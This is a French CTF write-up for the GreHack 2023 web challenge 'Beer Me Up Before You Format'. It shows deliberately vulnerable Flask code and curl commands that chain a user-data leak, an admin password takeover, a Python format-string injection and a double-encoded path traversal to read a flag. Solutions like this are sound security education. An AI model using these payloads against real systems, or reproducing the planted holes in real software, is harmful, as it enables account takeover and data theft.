[GreHack 2023][Write Up – Web] Beer Me Up Before You Format


Authors : Elweth, Nishacid
URL : https://beer-me-up-before-you-format.ctf.grehack.fr


Découverte

On nous donne le code suivant :
from flask import (
    Flask, 
    request, 
    render_template, 
    jsonify
)   

from api.queries import * 
import os
import jwt
import urllib

app = Flask(__name__)

SECRET = os.urandom(24)
ENDPOINTS = ["users"] # add new endpoints in the futur..

@app.route("/")
def home():
    return render_template("index.html")


# To manage multi-endpoints
@app.route("/api/<endpoint>/<id_user>")
def parse(endpoint, id_user):
    if endpoint.lower() in ENDPOINTS:
        if endpoint == "users":
            return jsonify(error="This endpoint is for admins only."), 403
        return jsonify(get_user(int(id_user)))
    else:
        return jsonify(error="This page does not exists."), 404

@app.route("/api/password-reset", methods=["POST"])
def password_reset():
    json = request.get_json()
    try:
        token = json["token"]
        password = json["password"]
        if update_password(token, password):
            return jsonify(success="The password has been reset.")
        else:
            return jsonify(error="An error has occured.")
    except Exception as e:
        print(e)
        return jsonify(error="Parameter 'token' or 'password' are missing.")

@app.route("/api/login", methods=["POST"])
def login():
    json = request.get_json()
    try:
        datas = api_login(json["username"], json["password"])
        jwt_token = jwt.encode(datas, SECRET, algorithm="HS256")
        return jsonify(jwt=jwt_token)
    except Exception as e:
        print(e)
        return jsonify(error="Incorrect username or password.")

@app.route("/api/admin", methods=["POST"])
def admin():
    jwt_token = request.headers.get("X-Api-Key")
    if jwt_token is None:
        return jsonify(error="You must provide X-Api-Key header.")
    try:
        if jwt.decode(jwt_token, SECRET, algorithms=["HS256"])["role"] == "ADMIN":
            secret = request.get_json()["secret"]
            secret = Secret(secret)
            print(secret)
            return render_template("secret.html", secret=f"{secret}".format(secret=secret))
        else:
            return jsonify(error="You must be admin !")
    except Exception as e:
        return jsonify(error=f"An eror has occured : {e}")


@app.route(f"/api/{SECRET_ENDPOINT}", methods=["POST"])
def secret():
    jwt_token = request.headers.get("X-Api-Key")
    if jwt_token is None:
        return jsonify(error="You must provide X-Api-Key header.")
    try:
        if jwt.decode(jwt_token, SECRET, algorithms=["HS256"])["role"] == "ADMIN":
            filename = urllib.parse.unquote(request.get_json()['filename'])
            data = "This file doesn't exist"
            bad_chars = ["../", "\\", "."]
            is_safe = all(char not in filename for char in bad_chars)
            
            if is_safe:
                filename = urllib.parse.unquote(filename)
                if os.path.isfile('./'+ filename):
                    with open(filename) as f:
                        data = f.read()
            return jsonify(data)
        else:
            return jsonify(error="You must be admin !")
    except Exception as e:
        return jsonify(error=f"An eror has occured : {e}")
        
SECRET_ENDPOINT = "secret"

class Secret:
def __init__(self, secret):
self.secret = secret

def __repr__(self):
return f"The secret endpoint is : /{self.secret} !"

On a également un Dockerfile qui nous dit que le fichier flag.txt se situe à la racine, l’objectif va donc être de lire ce fichier, ça tombe bien parce qu’un endpoint permet de lire des fichiers : le SECRET_ENDPOINT.

En lisant le code, on voit qu’il faut donc leak la variable globale SECRET_ENDPOINT et obtenir un token d’admin.

Résolution

Token

 

On va déjà essayer de trouver un admin dans la base de donnée : via /api/<endpoint>/<id_user>

Il suffit de prendre endpoint = Users pour pouvoir accéder aux infos des users à cause du .lower (ligne 1 de la fonction parse). On va donc tester plusieurs IDs jusqu’à trouver un admin.

$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/Users/2
> [{"address":"914-3237 Duis St.","city":"North Waziristan","email":"[email protected]","id":2,"phone":"05 88 45 53 65","postalZip":"531448","region":"D\u014dngb\u011bi","role":"ADMIN","token":"74317EF3-5110-385B-2FDC-A07F4F1D9F42","username":"Olsen"}]

On a désormais le token d’un admin.

Mot de passe

 

On va ensuite changer son mot de passe via /api/password-reset

$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/password-reset -X POST -H "Content-Type: application/json" --data '{"token": "74317EF3-5110-385B-2FDC-A07F4F1D9F42", "password": "zyjxzbxa1Pt"}'
> {"success":"The password has been reset."}

 

JWT

 

Avec son mot de passe, on va être capable de récupérer un jwt via /api/login

$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/login -X POST -H "Content-Type: application/json" --data '{"username": "Olsen", "password": "zyjxzbxa1Pt"}'
> {"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ"}

 

SECRET_ENDPOINT

 

On a désormais un JWT d’admin valide et on peut donc accéder à /api/admin

C’est ici que le titre du challenge va entrer en jeu, on s’aperçoit que l’entrée utilisateur va subir un .format à la ligne 9 de la fonction « admin » à cause du fait que le développeur ait utilisé une f string doublé d’un .format au lieu de ne faire que l’un des 2.

On se retrouve donc dans la situation suivante : on va avoir a.format(secret=secret) avec a = « xxx<contrôlé par l’utilisateur>xxx », on va donc pouvoir exploiter ça de la manière suivante :

$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/admin -X POST -H "Content-Type: application/json" -H "X-Api-Key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ" --data '{"secret": "{secret.__init__.__globals__[SECRET_ENDPOINT]}"}'
> The secret endpoint is : /admin-s3cr3t-3ndp01nt-Ungu3ss4ble !

 

FLAG

 

On a donc le fameux SECRET_ENDPOINT et on veut récupérer le /flag.txt

Déjà on se rend compte que l’entrée utilisateur va être préfixée par un `./`, on va donc devoir utiliser un chemin relatif.

Ensuite, on a interdiction d’utiliser les caractères suivants :

["../", "\\", "."]

Heureusement, le développeur n’est pas très dégourdi et va faire 2 urllib.parse.unquote, un avant la vérification des caractères et un après, on va donc pouvoir faire du double encoding pour bypass la vérification :

$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/admin-s3cr3t-3ndp01nt-Ungu3ss4ble -X POST -H "Content-Type: application/json" -H "X-Api-Key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ" --data '{"filename": "%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag%252etxt"}'
> "GH{F0rm4t_Str1ng_t0_D4T4_L34K}"
HEADORTEILINGÉNIEUR SÉCURITÉ
Pentester & CTF enjoyer

Add a comment

*Please complete all fields correctly